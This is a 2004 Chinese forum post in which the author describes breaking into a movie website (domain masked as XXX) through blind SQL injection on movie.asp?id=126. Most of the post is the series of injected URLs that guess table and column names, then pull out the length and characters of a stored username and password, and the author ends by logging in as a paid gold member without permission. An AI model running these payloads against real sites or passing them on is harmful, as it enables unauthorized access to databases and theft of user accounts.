于是想弄个用户和密码来看看。想到了sql注入。
开始用
http://www.XXX.com/movie.asp?id=126 and 1=1 试了一下
发现没报错。哈哈。有希望。。
接着再来
http://www.XXX.com/movie.asp?id=126 and (select count(*) from user)>=0
出错。。。说明没有user这个表。。再试。。
中途试了N多次,,省约
这条
http://www.XXX.com/movie.asp?id=126 and (select count(*) from users)>=0
成功了。。说明库里有users表。。接下来表里的用户和密码字段。用
http://www.XXX.com/movie.asp?id=126 and (select count(user) from users)>=0
错误。。。
中途又试了N次。。最后
http://www.XXX.com/movie.asp?id=126 and (select count(userid) from users)>=0
成功了。。接着再来。。还只拿到用户名字段。。
密码字段一下就成功了。。
http://www.XXX.com/movie.asp?id=126 and (select count(password) from users)>=0
这下有信息了。。接着猜用户名。。先拿到用户名的长度。
http://www.XXX.com/movie.asp?id=126 and (select top 1 len(userid) from users)>0 成功
http://www.XXX.com/movie.asp?id=126 and (select top 1 len(userid) from users)>1 成功
http://www.XXX.com/movie.asp?id=126 and (select top 1 len(userid) from users)>2 成功
http://www.XXX.com/movie.asp?id=126 and (select top 1 len(userid) from users)>3 成功
http://www.XXX.com/movie.asp?id=126 and (select top 1 len(userid) from users)>4 成功
http://www.XXX.com/movie.asp?id=126 and (select top 1 len(userid) from users)>5 成功
http://www.XXX.com/movie.asp?id=126 and (select top 1 len(userid) from users)>6 错误
由上面得出用户名的长度为:6位。先不管他密码加密没加密。。拿到用户名再说。。接着来。。
http://www.XXX.com/movie.asp?id=126 and (select top 1 asc((userid,1,1)) from users)>47 成功
http://www.XXX.com/movie.asp?id=126 and (select top 1 asc((userid,1,1)) from users)>57 失败
得出用户名的第一位是数字。。数字的范围就小了很容易得到。。
http://www.XXX.com/movie.asp?id=126 and (select top 1 asc((userid,1,1)) from users)>48 成功
http://www.XXX.com/movie.asp?id=126 and (select top 1 asc((userid,1,1)) from users)>49 成功
http://www.XXX.com/movie.asp?id=126 and (select top 1 asc((userid,1,1)) from users)>50 成功
http://www.XXX.com/movie.asp?id=126 and (select top 1 asc((userid,1,1)) from users)>51 成功
http://www.XXX.com/movie.asp?id=126 and (select top 1 asc((userid,1,1)) from users)>52 成功
http://www.XXX.com/movie.asp?id=126 and (select top 1 asc((userid,1,1)) from users)>53 成功
http://www.XXX.com/movie.asp?id=126 and (select top 1 asc((userid,1,1)) from users)>54 错误
这样得到第一位是6。。接着上面的来。。一直做到asc((user,6,1)) 一位一位的猜出用户名。。
经过了一直这样的猜解终于得得了用户名为:664306 全部为数字。这给猜解过程减少了很多步骤。。是我运气好吧。
用户名拿到了接着就是密码了。。因怕密码被md5加密。。所以我没报多大希望了。先用len试一下它的长度。如果太长就算了。。猜出用户名对我来说都是很大的进步了。。因为超过12位的密码多半是加密了的。这样拿到也没什么用。。
http://www.XXX.com/movie.asp?id=126 and (select top 1 len(password) from users)>12 错误
说明密码没有大于12位。这样有可能没有被加密。于是慢慢减少后面的数字。。最后到
http://www.XXX.com/movie.asp?id=126 and (select top 1 len(password) from users)>5 成功
又是6位?难道用户和密码一样。呵呵。试了一下。果然成功。。获得了一个黄金会员。。
用户和密码一样又减少了我不少步骤。。
如果用户和密码不一样。。就照猜用户的方法慢慢猜密码。只要它的密码没加密。就一定能拿到。祝朋友们好运。。
这是小弟在这里看了教程后第一次试验结果。。将它写成一个贴子发到这里。。表示对这里的感谢。。
还请各位大哥多多指点一下小弟。。
2004年6月19日 12:37
href="http://dotnet.mblogger.cn/yefengwz/Services/Pingback.aspx" rel="pingback">